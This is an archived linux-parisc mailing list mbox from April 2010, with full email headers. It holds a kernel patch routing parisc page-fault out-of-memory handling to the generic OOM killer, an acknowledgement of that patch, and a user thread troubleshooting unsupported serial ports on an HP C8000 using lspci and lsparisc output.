Cc: linux-arch@vger.kernel.org
Signed-off-by: Nick Piggin <npiggin@suse.de>
---
Index: linux-2.6/arch/parisc/mm/fault.c
===================================================================
--- linux-2.6.orig/arch/parisc/mm/fault.c
+++ linux-2.6/arch/parisc/mm/fault.c
@@ -264,8 +264,7 @@ no_context:
 
   out_of_memory:
 	up_read(&mm->mmap_sem);
-	printk(KERN_CRIT "VM: killing process %s\n", current->comm);
-	if (user_mode(regs))
-		do_group_exit(SIGKILL);
-	goto no_context;
+	if (!user_mode(regs))
+		goto no_context;
+	pagefault_out_of_memory();
 }


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Rientjes <rientjes@google.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: [patch 10/14] parisc: invoke oom-killer from page fault
Date: Thu, 22 Apr 2010 13:56:26 -0700 (PDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.00.1004221356150.25350@chino.kir.corp.google.com>
References: <20100422160613.723698029@suse.de> <20100422161224.322033236@suse.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1271969798 19549 80.91.229.12 (22 Apr 2010 20:56:38 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 22 Apr 2010 20:56:38 +0000 (UTC)
Cc: linux-arch@vger.kernel.org,
	Andrew Morton <akpm@linux-foundation.org>,
	linux-parisc@vger.kernel.org, Kyle McMartin <kyle@mcmartin.ca>
To: npiggin@suse.de
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 22 22:56:36 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O53Rs-0003mp-5o
	for glpp-linux-parisc@lo.gmane.org; Thu, 22 Apr 2010 22:56:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758754Ab0DVU4f (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 22 Apr 2010 16:56:35 -0400
Original-Received: from smtp-out.google.com ([74.125.121.35]:31646 "EHLO
	smtp-out.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758750Ab0DVU4d (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 22 Apr 2010 16:56:33 -0400
Original-Received: from kpbe20.cbf.corp.google.com (kpbe20.cbf.corp.google.com [172.25.105.84])
	by smtp-out.google.com with ESMTP id o3MKuVqA019756;
	Thu, 22 Apr 2010 22:56:32 +0200
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=google.com; s=beta;
	t=1271969792; bh=aS+7FZ0G4KOVXV7a4QJ3IsCg32Y=;
	h=Date:From:To:cc:Subject:In-Reply-To:Message-ID:References:
	 MIME-Version:Content-Type;
	b=lVRyGIYjV80ld9flFAZOtZMj194gHktxmoflDrQJxx1/Tptpzt3p6/kmCqWPWx8ON
	 T6IAYz2I9LOyyT0DKR5bg==
DomainKey-Signature: a=rsa-sha1; s=beta; d=google.com; c=nofws; q=dns;
	h=date:from:x-x-sender:to:cc:subject:in-reply-to:message-id:
	references:user-agent:mime-version:content-type:x-system-of-record;
	b=fceZPMW0afU/W3K0C/fHOEE3tiQZlJ+f5m4YEWAemZ5dTtgZCc6I3bLUczS9jYoHf
	IcVSfRY6+Emoskymx87dw==
Original-Received: from pvg16 (pvg16.prod.google.com [10.241.210.144])
	by kpbe20.cbf.corp.google.com with ESMTP id o3MKuTvM023025;
	Thu, 22 Apr 2010 13:56:29 -0700
Original-Received: by pvg16 with SMTP id 16so856732pvg.13
        for <multiple recipients>; Thu, 22 Apr 2010 13:56:29 -0700 (PDT)
Original-Received: by 10.115.66.26 with SMTP id t26mr328110wak.210.1271969789283;
        Thu, 22 Apr 2010 13:56:29 -0700 (PDT)
Original-Received: from chino.kir.corp.google.com (chino.kir.corp.google.com [172.31.6.135])
        by mx.google.com with ESMTPS id g1sm1237449waj.13.2010.04.22.13.56.27
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Thu, 22 Apr 2010 13:56:27 -0700 (PDT)
X-X-Sender: rientjes@chino.kir.corp.google.com
In-Reply-To: <20100422161224.322033236@suse.de>
User-Agent: Alpine 2.00 (DEB 1167 2008-08-23)
X-System-Of-Record: true
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2802 gmane.linux.kernel.cross-arch:6101
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2802>

On Fri, 23 Apr 2010, npiggin@suse.de wrote:

> As explained in commit 1c0fe6e3bd, we want to call the architecture independent
> oom killer when getting an unexplained OOM from handle_mm_fault, rather than
> simply killing current.
> 
> Cc: linux-parisc@vger.kernel.org
> Cc: Kyle McMartin <kyle@mcmartin.ca>
> Cc: linux-arch@vger.kernel.org
> Signed-off-by: Nick Piggin <npiggin@suse.de>

Acked-by: David Rientjes <rientjes@google.com>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: C8000 serial port
Date: Fri, 23 Apr 2010 12:27:01 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <20100423122701.259de41e@borg.bxl.tuxicoman.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1272019289 4979 80.91.229.12 (23 Apr 2010 10:41:29 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 23 Apr 2010 10:41:29 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 23 12:41:28 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with smtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O5GK8-0003ku-Fo
	for glpp-linux-parisc@lo.gmane.org; Fri, 23 Apr 2010 12:41:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752308Ab0DWKgl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 23 Apr 2010 06:36:41 -0400
Original-Received: from fb2.tech.numericable.fr ([82.216.111.50]:53578 "EHLO
	fb2.tech.numericable.fr" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752219Ab0DWKgk (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 23 Apr 2010 06:36:40 -0400
X-Greylist: delayed 560 seconds by postgrey-1.27 at vger.kernel.org; Fri, 23 Apr 2010 06:36:40 EDT
Original-Received: from smtp6.tech.numericable.fr (smtp6.nc.sdv.fr [10.0.0.83])
	by fb2.tech.numericable.fr (Postfix) with ESMTP id 5F2461402
	for <linux-parisc@vger.kernel.org>; Fri, 23 Apr 2010 12:28:01 +0200 (CEST)
Original-Received: from ibiza.bxl.tuxicoman.be (cable-85.28.107.20.coditel.net [85.28.107.20])
	by smtp6.tech.numericable.fr (Postfix) with ESMTP id 3FBAA144023
	for <linux-parisc@vger.kernel.org>; Fri, 23 Apr 2010 12:27:18 +0200 (CEST)
Original-Received: from [2001:6f8:310:301::1] (helo=borg.bxl.tuxicoman.be)
	by ibiza.bxl.tuxicoman.be with esmtps (TLS1.0:DHE_RSA_AES_128_CBC_SHA1:16)
	(Exim 4.71)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1O5G69-0006Ex-Hy
	for linux-parisc@vger.kernel.org; Fri, 23 Apr 2010 12:27:18 +0200
X-Mailer: Claws Mail 3.7.5 (GTK+ 2.18.7; x86_64-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2803
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2803>


Hi team,

I recently bought a C8000 and I just can't get the serial ports to
work. What modules should be used ? The normal 8250 modules don't work.

I'm currently running 2.6.33.2.

Cheers,
  Guy
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: C8000 serial port
Date: Fri, 23 Apr 2010 13:00:19 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <v2h7d01f9f01004230400v9ec94077s722e677ee890d02a@mail.gmail.com>
References: <20100423122701.259de41e@borg.bxl.tuxicoman.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: dough.gmane.org 1272020452 9137 80.91.229.12 (23 Apr 2010 11:00:52 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 23 Apr 2010 11:00:52 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 23 13:00:48 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O5Gcn-0004Si-3a
	for glpp-linux-parisc@lo.gmane.org; Fri, 23 Apr 2010 13:00:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755109Ab0DWLAo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 23 Apr 2010 07:00:44 -0400
Original-Received: from mail-px0-f174.google.com ([209.85.212.174]:40944 "EHLO
	mail-px0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752609Ab0DWLAn (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 23 Apr 2010 07:00:43 -0400
Original-Received: by pxi17 with SMTP id 17so849934pxi.19
        for <linux-parisc@vger.kernel.org>; Fri, 23 Apr 2010 04:00:43 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:from:date:x-google-sender-auth:received:message-id
         :subject:to:cc:content-type;
        bh=brjkqr8ZIZnE2ZEbNM+xfd950CciQER9gUphK1tzMLc=;
        b=eAaL5O+0Jg1rqxczlpDWG3dGUBsaKZ0zfcdrKalloXaBXGhe2qJuGe3yElkMJsUhyM
         VnA9m354IFpx23bUSbDadAgwU/iNjaaiGikh0I3N8Y6ay8U5bmbcnvErHp9pXAE2MGcN
         aRMdBzJm9OcSiGAaK0aoWGlC/pzRqCfdXLxPc=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:from:date
         :x-google-sender-auth:message-id:subject:to:cc:content-type;
        b=hnoKNNQZ+N9e2ssH5AdZRVUXfjLRUHkgr3ByZXNYpl8go35V+dJ2hIMm7aPx7ZfF8J
         ID71GxC5lZhY2EzaUCNuUZzNelfW9/9ZWlqyh5+Iq7mLWMbI8mGjwE88oGhYVCEJUPzV
         nqPNpNWWAICwWi/NxvF36WSi5MfPgL7SAtJdg=
Original-Received: by 10.140.148.8 with HTTP; Fri, 23 Apr 2010 04:00:19 -0700 (PDT)
In-Reply-To: <20100423122701.259de41e@borg.bxl.tuxicoman.be>
X-Google-Sender-Auth: ad203797b6640315
Original-Received: by 10.141.187.20 with SMTP id o20mr1881661rvp.13.1272020441116; Fri, 
	23 Apr 2010 04:00:41 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2804
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2804>

On Fri, Apr 23, 2010 at 12:27 PM, Guy Martin <gmsoft@tuxicoman.be> wrote:
>
> Hi team,
>
> I recently bought a C8000 and I just can't get the serial ports to
> work. What modules should be used ? The normal 8250 modules don't work.
>
> I'm currently running 2.6.33.2.

This has been recently discussed on debian-hppa.

See this thread http://lists.debian.org/debian-hppa/2010/03/msg00023.html

HTH

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: C8000 serial port
Date: Fri, 23 Apr 2010 13:15:46 +0200
Lines: 44
Approved: news@gmane.org
Message-ID: <20100423131546.6276c469@borg.bxl.tuxicoman.be>
References: <20100423122701.259de41e@borg.bxl.tuxicoman.be>
	<v2h7d01f9f01004230400v9ec94077s722e677ee890d02a@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1272021370 12521 80.91.229.12 (23 Apr 2010 11:16:10 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 23 Apr 2010 11:16:10 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Thibaut VARENE <varenet@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 23 13:15:58 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O5GrS-0002Vq-9j
	for glpp-linux-parisc@lo.gmane.org; Fri, 23 Apr 2010 13:15:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754499Ab0DWLPx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 23 Apr 2010 07:15:53 -0400
Original-Received: from smtp5.tech.numericable.fr ([82.216.111.41]:57568 "EHLO
	smtp5.tech.numericable.fr" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753671Ab0DWLPx (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 23 Apr 2010 07:15:53 -0400
Original-Received: from ibiza.bxl.tuxicoman.be (cable-85.28.107.20.coditel.net [85.28.107.20])
	by smtp5.tech.numericable.fr (Postfix) with ESMTP id 18AD9124004;
	Fri, 23 Apr 2010 13:15:50 +0200 (CEST)
Original-Received: from [2001:6f8:310:301::1] (helo=borg.bxl.tuxicoman.be)
	by ibiza.bxl.tuxicoman.be with esmtps (TLS1.0:DHE_RSA_AES_128_CBC_SHA1:16)
	(Exim 4.71)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1O5GrL-0006JF-6m; Fri, 23 Apr 2010 13:15:49 +0200
In-Reply-To: <v2h7d01f9f01004230400v9ec94077s722e677ee890d02a@mail.gmail.com>
X-Mailer: Claws Mail 3.7.5 (GTK+ 2.18.7; x86_64-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2805
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2805>


Hi Thibaut,

Thanks for the pointer but I'm not having an issue booting the box. I
used fbdev for that and I succeeded to install gentoo on it.

However I'd like to have this port working now and I cannot get the
kernel to recognize the serial port at all.

When I load the 8250 module, the only thing I get is this :
Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled

Are the serial ports on the C8000 just not supported for now ?
I couldn't find any specifications for that hardware.

  Guy

On Fri, 23 Apr 2010 13:00:19 +0200
Thibaut VARENE <varenet@parisc-linux.org> wrote:

> On Fri, Apr 23, 2010 at 12:27 PM, Guy Martin <gmsoft@tuxicoman.be>
> wrote:
> >
> > Hi team,
> >
> > I recently bought a C8000 and I just can't get the serial ports to
> > work. What modules should be used ? The normal 8250 modules don't
> > work.
> >
> > I'm currently running 2.6.33.2.
> 
> This has been recently discussed on debian-hppa.
> 
> See this thread
> http://lists.debian.org/debian-hppa/2010/03/msg00023.html
> 
> HTH
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: C8000 serial port
Date: Fri, 23 Apr 2010 14:17:26 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <k2t7d01f9f01004230517v902702f7x160de554d75c707f@mail.gmail.com>
References: <20100423122701.259de41e@borg.bxl.tuxicoman.be> 
	<v2h7d01f9f01004230400v9ec94077s722e677ee890d02a@mail.gmail.com> 
	<20100423131546.6276c469@borg.bxl.tuxicoman.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: dough.gmane.org 1272025070 26313 80.91.229.12 (23 Apr 2010 12:17:50 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 23 Apr 2010 12:17:50 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 23 14:17:49 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O5HpL-0004B5-RG
	for glpp-linux-parisc@lo.gmane.org; Fri, 23 Apr 2010 14:17:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752831Ab0DWMRr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 23 Apr 2010 08:17:47 -0400
Original-Received: from mail-pv0-f174.google.com ([74.125.83.174]:52405 "EHLO
	mail-pv0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751599Ab0DWMRq (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 23 Apr 2010 08:17:46 -0400
Original-Received: by pvh1 with SMTP id 1so1151249pvh.19
        for <linux-parisc@vger.kernel.org>; Fri, 23 Apr 2010 05:17:46 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:from:date:x-google-sender-auth:received:message-id
         :subject:to:cc:content-type;
        bh=1wCQNqezMI0sMPWeFmYkYW0UouUCv1lg1XzkGygGnAw=;
        b=Uk+67jIT+KLursBx2/5fXl+WEAsUOziGfPbrD9xpMkac8hnwTySqA7uoPVrL7UVuto
         vOyqHoh4FnrqU/ZQebbSm8E5/Zr5b8zAZ+i/5w/sb3k9B2GKVETwTlAAMI2l9u7S/2M+
         E9CJRFgCDyC1qhAoJjUd3kdb92pZEkPoOX3jk=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:from:date
         :x-google-sender-auth:message-id:subject:to:cc:content-type;
        b=H5S+B8EVLw7M6A+9t78ESN+MdiWoRIeGMk7gz4mEwAuMCHpK3WuyJMOXcbhoozp7zh
         zjfR5ymF7Ez26RCKxOM+hlGd/XXqmsDvmkoGbEn55P6FRmFvT+va8lsPPH9YmqhLDaHG
         l7WP5n2gcU9pBExXmsmWv0lzBIweJadOugxM4=
Original-Received: by 10.140.148.8 with HTTP; Fri, 23 Apr 2010 05:17:26 -0700 (PDT)
In-Reply-To: <20100423131546.6276c469@borg.bxl.tuxicoman.be>
X-Google-Sender-Auth: 7a92cfd1158d3b9a
Original-Received: by 10.140.247.20 with SMTP id u20mr4836980rvh.122.1272025066260; 
	Fri, 23 Apr 2010 05:17:46 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2806
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2806>

On Fri, Apr 23, 2010 at 1:15 PM, Guy Martin <gmsoft@tuxicoman.be> wrote:
>
> Hi Thibaut,
>
> Thanks for the pointer but I'm not having an issue booting the box. I
> used fbdev for that and I succeeded to install gentoo on it.
>
> However I'd like to have this port working now and I cannot get the
> kernel to recognize the serial port at all.
>
> When I load the 8250 module, the only thing I get is this :
> Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled
>
> Are the serial ports on the C8000 just not supported for now ?
> I couldn't find any specifications for that hardware.

Oh I see. Dunno about the hardware itself. I've been told it's pretty
new. What does lspci say? Also check lsparisc.

HTH
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: C8000 serial port
Date: Fri, 23 Apr 2010 14:41:22 +0200
Lines: 71
Approved: news@gmane.org
Message-ID: <20100423144122.4b83a557@borg.bxl.tuxicoman.be>
References: <20100423122701.259de41e@borg.bxl.tuxicoman.be>
	<v2h7d01f9f01004230400v9ec94077s722e677ee890d02a@mail.gmail.com>
	<20100423131546.6276c469@borg.bxl.tuxicoman.be>
	<k2t7d01f9f01004230517v902702f7x160de554d75c707f@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1272026494 31834 80.91.229.12 (23 Apr 2010 12:41:34 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 23 Apr 2010 12:41:34 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Thibaut VARENE <varenet@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 23 14:41:33 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O5ICI-0002kn-C7
	for glpp-linux-parisc@lo.gmane.org; Fri, 23 Apr 2010 14:41:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757177Ab0DWMl3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 23 Apr 2010 08:41:29 -0400
Original-Received: from smtp3.tech.numericable.fr ([82.216.111.39]:42702 "EHLO
	smtp3.tech.numericable.fr" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757145Ab0DWMl2 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 23 Apr 2010 08:41:28 -0400
Original-Received: from ibiza.bxl.tuxicoman.be (cable-85.28.107.20.coditel.net [85.28.107.20])
	by smtp3.tech.numericable.fr (Postfix) with ESMTP id 552A93E412;
	Fri, 23 Apr 2010 14:41:25 +0200 (CEST)
Original-Received: from [2001:6f8:310:301::1] (helo=borg.bxl.tuxicoman.be)
	by ibiza.bxl.tuxicoman.be with esmtps (TLS1.0:DHE_RSA_AES_128_CBC_SHA1:16)
	(Exim 4.71)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1O5ICA-0006SL-5y; Fri, 23 Apr 2010 14:41:24 +0200
In-Reply-To: <k2t7d01f9f01004230517v902702f7x160de554d75c707f@mail.gmail.com>
X-Mailer: Claws Mail 3.7.5 (GTK+ 2.18.7; x86_64-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2807
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2807>


On Fri, 23 Apr 2010 14:17:26 +0200
Thibaut VARENE <varenet@parisc-linux.org> wrote:

> Oh I see. Dunno about the hardware itself. I've been told it's pretty
> new. What does lspci say? Also check lsparisc.

lspci doesn't show the serial ports :

terminator ~ # lspci
40:01.0 SCSI storage controller: LSI Logic / Symbios Logic 53c1030 PCI-X Fusion-MPT Dual Ultra320 SCSI (rev 07)
40:01.1 SCSI storage controller: LSI Logic / Symbios Logic 53c1030 PCI-X Fusion-MPT Dual Ultra320 SCSI (rev 07)
40:02.0 PCI bridge: Intel Corporation 21154 PCI-to-PCI Bridge
40:03.0 Fibre Channel: Hewlett-Packard Company Tach TL Fibre Channel Host Adapter (rev 0b)
41:04.0 Ethernet controller: Digital Equipment Corporation DECchip 21142/43 (rev 41)
41:05.0 Ethernet controller: Digital Equipment Corporation DECchip 21142/43 (rev 41)
41:06.0 Ethernet controller: Digital Equipment Corporation DECchip 21142/43 (rev 41)
41:07.0 Ethernet controller: Digital Equipment Corporation DECchip 21142/43 (rev 41)
60:01.0 USB Controller: NEC Corporation USB (rev 41)
60:01.1 USB Controller: NEC Corporation USB (rev 41)
60:01.2 USB Controller: NEC Corporation USB 2.0 (rev 02)
60:02.0 IDE interface: Silicon Image, Inc. PCI0680 Ultra ATA-133 Host Controller (rev 02)
60:03.0 Ethernet controller: Intel Corporation 82540EM Gigabit Ethernet Controller (rev 02)
80:00.0 VGA compatible controller: ATI Technologies Inc Radeon RV100 QY [Radeon 7000/VE]


lsparisc shows two unknown IO devices (17 and 18). Maybe it's those ?

terminator ~ # lsparisc --long --verbose
[0] IO Adapter: Pluto BC McKinley Port
  hversion=0x880 sversion=0x0000c
  dir: /sys/devices/parisc/0
[0:0] Foreign Bus Bridge: Mercury PCI Bridge
  hversion=0x783 sversion=0x0000a
  dir: /sys/devices/parisc/0/0:0
[0:2] Foreign Bus Bridge: Mercury PCI Bridge
  hversion=0x783 sversion=0x0000a
  dir: /sys/devices/parisc/0/0:2
[0:3] Foreign Bus Bridge: Mercury PCI Bridge
  hversion=0x783 sversion=0x0000a
  dir: /sys/devices/parisc/0/0:3
[0:4] Foreign Bus Bridge: Quicksilver AGP Bridge
  hversion=0x784 sversion=0x0000a
  dir: /sys/devices/parisc/0/0:4
[128] Processor: Crestone Peak
  hversion=0x88a sversion=0x00004
  dir: /sys/devices/parisc/128
[129] Processor: Crestone Peak
  hversion=0x88a sversion=0x00004
  dir: /sys/devices/parisc/129
[16] MC: BMC IPMI Mgmt Ctlr
  hversion=0x004 sversion=0x000c0
  dir: /sys/devices/parisc/16
[17] Foreign IO: unknown device
  hversion=0x076 sversion=0x000ad
  dir: /sys/devices/parisc/17
[18] Foreign IO: unknown device
  hversion=0x076 sversion=0x000ad
  dir: /sys/devices/parisc/18
[8] Memory: Memory
  hversion=0x0b6 sversion=0x00009
  dir: /sys/devices/parisc/8


Cheers,
  Guy
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:53 2018
X-Mozilla-Status: 0001
